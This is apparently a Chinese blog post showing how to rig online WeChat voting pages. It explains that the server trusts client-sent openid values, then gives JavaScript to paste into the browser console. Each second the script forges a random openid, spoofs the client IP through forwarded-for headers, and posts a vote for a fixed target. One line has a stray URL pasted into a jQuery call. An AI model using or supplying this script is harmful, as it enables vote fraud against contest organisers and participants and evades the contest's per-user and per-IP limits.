网络上经常使用的简单投票代码

网络上经常使用的简单投票代码,其实在页面上手动随意修改上图中openid,即可肆意不限制投票。但这样操作太麻烦了,可以看下js源码
可以看出,其实只要openid,和toopenid即可,openid是自己的微信id,toopenid是投票对象的微信id,那我们定时修改openid即可给某一个人刷投票

    //执行脚本
    function init(){
         initIp();
    }
    //定时操作,每秒执行一次
    function demo(){ 
    }setInterval("init()",1000);
    //随机生成以ovgMdt开头的27位微信openid(字母大小写+数字)
    function createNum(){
        var str = "ovgMdt",
                range = 21,
                arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            // 随机产生
            for(var i=0; i<range; i++){
                pos = Math.round(Math.random() * (arr.length-1));
                str += arr[pos];
            }
            return str;

    }
    //提交请求
    function initIp(){
        var ip=createIp();
        var num=createNum();
        var $toopenid='ovgMdtSysi89sfInf0pdfg5T';
        var submitData = {
                toopenid: $toopenid,
                openid: num
            };
        $.ajax({
                headers:{'x-forwarded-for':ip,'WL-Proxy-Client-IP':ip},
                type: "POST",
                url: "xxxxxxxxxxxxxx",
                data: submitData,
                dataType: "json",
                beforeSend: function () {},
                success: function (data) {
                    if (data.code == 0) {
                        $("#"+$toopenid).text(data.vote);
                        if(data.today_vote >= 2){
                            $(".vote").addClass("red");
                        }
                        $("#"+$toopenid).parent(   http://www.aivtp.com/).find(".plus").css({"top":"186px","opacity":0});
                        $("#"+$toopenid).parent().find(".plus").stop().animate({"top":"176px","opacity":1},300,"swing").animate({"opacity":0},100);
                    } else {
                        alert(data.msg);
                    }
                }
        });
    }
    //生成随机的ip地址
    function createIp() {
        var a = Math.round(Math.random() * 250) + 1,
            b = Math.round(Math.random() * 250) + 1,
        c = Math.round(Math.random() * 240) + 1,
        d = Math.round(Math.random() * 240) + 1;
        return [a, b, c, d].join('.');
    }

这里生成了模拟的ip地址

把这段代码复制到浏览器F12之后的console里,直接回车即可开始刷投票(刷新或关闭浏览器即可停止刷票)

刷票的时候可以看一下network里的header,如下图

观察每个请求的ip地址和openid都是每次都切换的。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值